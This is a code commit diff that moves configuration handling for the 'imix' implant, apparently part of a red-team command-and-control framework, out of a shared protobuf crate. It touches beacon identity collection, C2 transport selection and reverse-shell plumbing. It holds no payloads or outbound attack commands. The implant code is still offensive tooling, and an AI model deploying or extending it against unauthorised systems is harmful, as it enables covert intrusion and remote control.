Refactor imix config variables out of pb crate

implants/imix/Cargo.toml

@@ -43,12 +43,22 @@ rust-embed = { workspace = true }
 console-subscriber = { workspace = true, optional = true }
 rand = { workspace = true }
 async-trait = { workspace = true }
+host_unique = { workspace = true }
+url = { workspace = true }
+uuid = { workspace = true, features = ["v4"] }
+whoami = { workspace = true }
+netdev = { workspace = true }
 
 [target.'cfg(target_os = "windows")'.dependencies]
 windows-service = { workspace = true }
 
 [target.'cfg(target_os = "windows")'.build-dependencies]
 static_vcruntime = { workspace = true }
 
+
+
+
+
+
 [dev-dependencies]
 transport = { workspace = true, features = ["mock", "grpc"] }

implants/imix/src/agent.rs

@@ -1,3 +1,4 @@
+use crate::config::Config;
 use anyhow::{Context as AnyhowContext, Result};
 use eldritch::agent::agent::Agent;
 use eldritch_agent::Context;
@@ -8,7 +9,6 @@ use pb::c2::{
     ReportTaskOutputMessage, ShellTaskContext, ShellTaskOutput, TaskContext, TaskOutput,
     report_output_request,
 };
-use pb::config::Config;
 use std::collections::{BTreeMap, BTreeSet};
 use std::sync::{Arc, Mutex};
 use std::time::Duration;
@@ -277,8 +277,10 @@ impl ImixAgent {
 
         // 2. Create new transport from config
         let config = self.get_transport_config().await;
-        let t =
-            transport::create_transport(config).context("Failed to create on-demand transport")?;
+        let active_transport =
+            extract_transport_from_config(&config).context("Failed to extract transport")?;
+        let t = transport::create_transport(&active_transport)
+            .context("Failed to create on-demand transport")?;
 
         #[cfg(debug_assertions)]
         log::debug!("Created on-demand transport for background task");
@@ -791,3 +793,21 @@ impl Agent for ImixAgent {
         Ok(())
     }
 }
+
+pub fn extract_transport_from_config(
+    config: &crate::config::Config,
+) -> anyhow::Result<pb::c2::Transport> {
+    if let Some(info) = &config.info {
+        if let Some(available_transports) = &info.available_transports {
+            let active_idx = available_transports.active_index as usize;
+            if let Some(transport) = available_transports
+                .transports
+                .get(active_idx)
+                .or_else(|| available_transports.transports.first())
+            {
+                return Ok(transport.clone());
+            }
+        }
+    }
+    anyhow::bail!("No available transports found in config");
+}

implants/lib/pb/src/config.rs → implants/imix/src/config/mod.rs

@@ -3,15 +3,15 @@ use host_unique::HostIDSelector;
 use url::Url;
 use uuid::Uuid;
 
-use crate::c2::{AvailableTransports, Transport};
+use pb::c2::{AvailableTransports, Transport};
 
 //TODO: Can this struct be removed?
 /// Config holds values necessary to configure an Agent.
 #[allow(clippy::derive_partial_eq_without_eq)]
 #[derive(Clone, PartialEq, ::prost::Message)]
 pub struct Config {
     #[prost(message, optional, tag = "1")]
-    pub info: ::core::option::Option<crate::c2::Beacon>,
+    pub info: ::core::option::Option<pb::c2::Beacon>,
     #[prost(bool, tag = "2")]
     pub run_once: bool,
 }
@@ -86,14 +86,14 @@ pub const RUN_ONCE: bool = run_once!();
 /*
  * Helper function to determine transport type from URI scheme
  */
-fn get_transport_type(uri: &str) -> crate::c2::transport::Type {
+fn get_transport_type(uri: &str) -> pb::c2::transport::Type {
     match uri.split(":").next().unwrap_or("unspecified") {
-        "dns" => crate::c2::transport::Type::TransportDns,
-        "http1" => crate::c2::transport::Type::TransportHttp1,
-        "https1" => crate::c2::transport::Type::TransportHttp1,
-        "https" => crate::c2::transport::Type::TransportGrpc,
-        "http" => crate::c2::transport::Type::TransportGrpc,
-        _ => crate::c2::transport::Type::TransportUnspecified,
+        "dns" => pb::c2::transport::Type::TransportDns,
+        "http1" => pb::c2::transport::Type::TransportHttp1,
+        "https1" => pb::c2::transport::Type::TransportHttp1,
+        "https" => pb::c2::transport::Type::TransportGrpc,
+        "http" => pb::c2::transport::Type::TransportGrpc,
+        _ => pb::c2::transport::Type::TransportUnspecified,
     }
 }
 
@@ -200,13 +200,13 @@ fn parse_host_unique_selectors() -> Vec<Box<dyn HostIDSelector>> {
  */
 impl Config {
     pub fn default_with_imix_version(imix_version: &str) -> Self {
-        let agent = crate::c2::Agent {
+        let agent = pb::c2::Agent {
             identifier: format!("imix-v{}", imix_version),
         };
 
         let selectors = parse_host_unique_selectors();
 
-        let host = crate::c2::Host {
+        let host = pb::c2::Host {
             name: whoami::fallible::hostname().unwrap_or(String::from("")),
             identifier: host_unique::get_id_with_selectors(selectors).to_string(),
             platform: get_host_platform() as i32,
@@ -226,7 +226,7 @@ impl Config {
             active_index: 0,
         };
 
-        let info = crate::c2::Beacon {
+        let info = pb::c2::Beacon {
             identifier: beacon_id,
             principal: whoami::username(),
             available_transports: Some(available_transports),
@@ -268,18 +268,18 @@ impl Config {
 /*
  * Returns which Platform imix has been compiled for.
  */
-fn get_host_platform() -> crate::c2::host::Platform {
+fn get_host_platform() -> pb::c2::host::Platform {
     #[cfg(target_os = "linux")]
-    return crate::c2::host::Platform::Linux;
+    return pb::c2::host::Platform::Linux;
 
     #[cfg(target_os = "macos")]
-    return crate::c2::host::Platform::Macos;
+    return pb::c2::host::Platform::Macos;
 
     #[cfg(target_os = "windows")]
-    return crate::c2::host::Platform::Windows;
+    return pb::c2::host::Platform::Windows;
 
     #[cfg(any(target_os = "freebsd", target_os = "netbsd", target_os = "openbsd"))]
-    return crate::c2::host::Platform::Bsd;
+    return pb::c2::host::Platform::Bsd;
 
     #[cfg(all(
         not(target_os = "linux"),
@@ -289,7 +289,7 @@ fn get_host_platform() -> crate::c2::host::Platform {
         not(target_os = "netbsd"),
         not(target_os = "openbsd"),
     ))]
-    return crate::c2::host::Platform::Unspecified;
+    return pb::c2::host::Platform::Unspecified;
 }
 
 /*
@@ -330,42 +330,41 @@ mod tests {
         assert_eq!(available.transports.len(), 1);
         assert_eq!(available.active_index, 0);
         // The URL crate normalizes URIs, potentially adding trailing slashes
-        assert!(available.transports[0]
-            .uri
-            .starts_with("http://127.0.0.1:8000"));
+        assert!(
+            available.transports[0]
+                .uri
+                .starts_with("http://127.0.0.1:8000")
+        );
     }
 
     #[test]
     fn test_transport_type_detection_grpc() {
         let grpc_type = get_transport_type("http://example.com");
-        assert_eq!(grpc_type, crate::c2::transport::Type::TransportGrpc);
+        assert_eq!(grpc_type, pb::c2::transport::Type::TransportGrpc);
 
         let grpcs_type = get_transport_type("https://example.com");
-        assert_eq!(grpcs_type, crate::c2::transport::Type::TransportGrpc);
+        assert_eq!(grpcs_type, pb::c2::transport::Type::TransportGrpc);
     }
 
     #[test]
     fn test_transport_type_detection_http1() {
         let http1_type = get_transport_type("http1://example.com");
-        assert_eq!(http1_type, crate::c2::transport::Type::TransportHttp1);
+        assert_eq!(http1_type, pb::c2::transport::Type::TransportHttp1);
 
         let https1_type = get_transport_type("https1://example.com");
-        assert_eq!(https1_type, crate::c2::transport::Type::TransportHttp1);
+        assert_eq!(https1_type, pb::c2::transport::Type::TransportHttp1);
     }
 
     #[test]
     fn test_transport_type_detection_dns() {
         let dns_type = get_transport_type("dns://8.8.8.8");
-        assert_eq!(dns_type, crate::c2::transport::Type::TransportDns);
+        assert_eq!(dns_type, pb::c2::transport::Type::TransportDns);
     }
 
     #[test]
     fn test_transport_type_detection_unspecified() {
         let unknown_type = get_transport_type("ftp://example.com");
-        assert_eq!(
-            unknown_type,
-            crate::c2::transport::Type::TransportUnspecified
-        );
+        assert_eq!(unknown_type, pb::c2::transport::Type::TransportUnspecified);
     }
 
     #[test]

implants/imix/src/lib.rs

@@ -2,6 +2,7 @@ extern crate alloc;
 
 pub mod agent;
 pub mod assets;
+pub mod config;
 pub mod portal;
 pub mod printer;
 pub mod run;

implants/imix/src/main.rs

@@ -16,11 +16,12 @@ mod win_service;
 #[cfg(all(debug_assertions, feature = "tokio-console"))]
 use console_subscriber;
 
-pub use pb::config::Config;
+pub use crate::config::Config;
 pub use transport::Transport;
 
 mod agent;
 mod assets;
+pub mod config;
 mod install;
 mod portal;
 mod printer;

implants/imix/src/run.rs

@@ -4,9 +4,9 @@ use std::sync::atomic::{AtomicBool, Ordering};
 use std::time::{Duration, Instant};
 
 use crate::agent::ImixAgent;
+use crate::config::Config;
 use crate::task::TaskRegistry;
 use crate::version::VERSION;
-use pb::config::Config;
 use transport;
 
 pub static SHUTDOWN: AtomicBool = AtomicBool::new(false);
@@ -98,8 +98,10 @@ async fn run_agent_cycle(agent: Arc<ImixAgent>, registry: Arc<TaskRegistry>) {
 
     // Create new active transport
     let config = agent.get_transport_config().await;
+    let active_transport =
+        crate::agent::extract_transport_from_config(&config).expect("Failed to extract transport");
 
-    let transport = match transport::create_transport(config) {
+    let transport = match transport::create_transport(&active_transport) {
         Ok(t) => t,
         Err(_e) => {
             #[cfg(debug_assertions)]

implants/imix/src/shell/manager.rs

@@ -373,9 +373,9 @@ impl ShellManager {
 #[cfg(test)]
 mod tests {
     use super::*;
+    use crate::config::Config;
     use crate::task::TaskRegistry;
     use pb::c2::{ReportOutputResponse, ShellTask};
-    use pb::config::Config;
     use transport::{MockTransport, Transport};
 
     #[tokio::test]

implants/imix/src/shell/terminal.rs

@@ -7,6 +7,7 @@ use eldritch::repl::Repl;
 use eldritch_agent::Context;
 use pb::c2::{ReverseShellMessageKind, ReverseShellRequest, reverse_shell_request};
 
+#[allow(dead_code)]
 pub struct VtWriter {
     pub tx: tokio::sync::mpsc::Sender<ReverseShellRequest>,
     pub context: Context,
@@ -52,6 +53,7 @@ impl std::io::Write for VtWriter {
     }
 }
 
+#[allow(dead_code)]
 pub fn render<W: std::io::Write>(
     stdout: &mut W,
     repl: &Repl,

implants/imix/src/task.rs

@@ -17,6 +17,7 @@ use tokio::sync::mpsc;
 use crate::printer::StreamPrinter;
 
 struct SubtaskHandle {
+    #[allow(dead_code)]
     name: String,
     _handle: tokio::task::JoinHandle<()>,
 }
@@ -96,6 +97,7 @@ impl TaskRegistry {
         true
     }
 
+    #[allow(dead_code)]
     pub fn register_subtask(
         &self,
         task_id: i64,

implants/imix/src/tests/agent_output_aggregation.rs

@@ -1,10 +1,10 @@
 use crate::agent::ImixAgent;
+use crate::config::Config;
 use crate::task::TaskRegistry;
 use pb::c2::{
     ReportOutputRequest, ReportShellTaskOutputMessage, ReportTaskOutputMessage, ShellTaskContext,
     ShellTaskOutput, TaskContext, TaskOutput, report_output_request,
 };
-use pb::config::Config;
 use std::sync::{Arc, Mutex};
 use transport::MockTransport;
 

implants/imix/src/tests/agent_tests.rs

@@ -1,7 +1,7 @@
 use super::super::agent::ImixAgent;
 use super::super::task::TaskRegistry;
+use crate::config::Config;
 use eldritch::agent::agent::Agent;
-use pb::config::Config;
 use std::sync::Arc;
 use transport::MockTransport;
 

implants/imix/src/tests/agent_trait_tests.rs

@@ -1,9 +1,9 @@
 use super::super::agent::ImixAgent;
 use super::super::task::TaskRegistry;
+use crate::config::Config;
 use eldritch::agent::agent::Agent;
 use pb::c2::host::Platform;
 use pb::c2::{self, Host, report_file_request, report_output_request};
-use pb::config::Config;
 use std::sync::Arc;
 use transport::MockTransport;
 

implants/imix/src/tests/callback_interval_test.rs

@@ -1,7 +1,7 @@
 use super::super::agent::ImixAgent;
 use super::super::task::TaskRegistry;
+use crate::config::Config;
 use eldritch::agent::agent::Agent;
-use pb::config::Config;
 use std::sync::Arc;
 use transport::MockTransport;
 

implants/imix/src/tests/report_large_file_test.rs

@@ -1,4 +1,5 @@
 use crate::agent::ImixAgent;
+use crate::config::Config;
 use crate::task::TaskRegistry;
 use eldritch::report::std::file_impl;
 use eldritch_agent::Context;
@@ -9,7 +10,6 @@ use pb::c2::{
     ReportOutputResponse, ReportProcessListRequest, ReportProcessListResponse, ReverseShellRequest,
     ReverseShellResponse, TaskContext, Transport as C2Transport,
 };
-use pb::config::Config;
 use std::sync::mpsc::{Receiver, Sender};
 use std::sync::{Arc, Mutex};
 use transport::Transport;
@@ -33,7 +33,7 @@ impl Transport for FakeTransport {
         FakeTransport::new()
     }
 
-    fn new(_config: Config) -> anyhow::Result<Self> {
+    fn new(_config: &pb::c2::Transport) -> anyhow::Result<Self> {
         Ok(FakeTransport::new())
     }
 

implants/lib/eldritch/eldritch-wasm/src/browser.rs

@@ -25,6 +25,7 @@ impl BrowserRepl {
     #[wasm_bindgen(constructor)]
     pub fn new() -> BrowserRepl {
         let printer = Arc::new(BufferPrinter::new());
+        #[allow(unused_mut)]
         let mut interp = Interpreter::new_with_printer(printer);
 
         #[cfg(feature = "fake_bindings")]
@@ -121,6 +122,7 @@ impl BrowserRepl {
         let ends_with_colon = trimmed.ends_with(':');
         let lines: Vec<&str> = self.buffer.lines().collect();
         let line_count = lines.len();
+        #[allow(unused_variables)]
         let last_line_empty =
             self.buffer.ends_with('\n') && lines.last().map_or(true, |l| l.trim().is_empty());
 

implants/lib/eldritch/eldritch/src/lib.rs

@@ -185,6 +185,7 @@ impl Interpreter {
         self
     }
 
+    #[allow(unused_mut)]
     pub fn with_fake_agent(mut self) -> Self {
         #[cfg(feature = "fake_agent")]
         self.inner.register_lib(AgentLibraryFake);